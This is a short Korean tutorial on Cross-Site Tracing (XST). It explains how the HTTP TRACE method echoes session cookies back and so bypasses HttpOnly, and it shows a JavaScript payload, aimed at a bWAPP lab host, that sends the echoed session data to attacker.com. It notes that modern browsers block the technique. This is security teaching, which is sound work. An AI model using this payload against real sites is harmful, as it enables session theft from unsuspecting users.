TRACE 메소드란 루프백 테스트를 통해 통신 상 어느 지점에서 에러가 발생하였는지 디버깅하기 위한 용도로 사용된다.
TRACE 메소드를 사용하면 요청 값이 echo되어 그대로 응답 값으로 반환된다. 이때 응답 값에 세션과 같은 중요정보도 포함된 것을 확인할 수 있다. HttpOnly가 적용된 쿠키는 자바스크립트에서 document.cookie를 통해 접근할 수 없어 세션 탈취를 방지할 수
있으나 이를 우회하여 TRACE 메소드를 통해 반환된 응답 패킷 내 세션 정보를 탈취하면 된다.
공격자는 세션을 탈취하는 스크립트를 작성하여 피해자가 열람하도록 유도한다.
var xmlhttp;
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
xmlResp=xmlhttp.responseText;
// 응답 패킷 정보를 공격자 서버로 전송
document.location="http://attacker.com:666/grab.cgi?"+xmlResp;
}
}
xmlhttp.open("TRACE","http://192.168.0.185/bWAPP/",true);
xmlhttp.withCredentials = true; // 쿠키 값 공유 허용
xmlhttp.send();
XST 취약점은 현재최신 브라우저에서는 작동하지 않으며 브라우저의 보안 정책으로 인해 XHR을 통해 TRACE 메소드 실행이 불가해 발생률이 낮은 취약점에 속한다.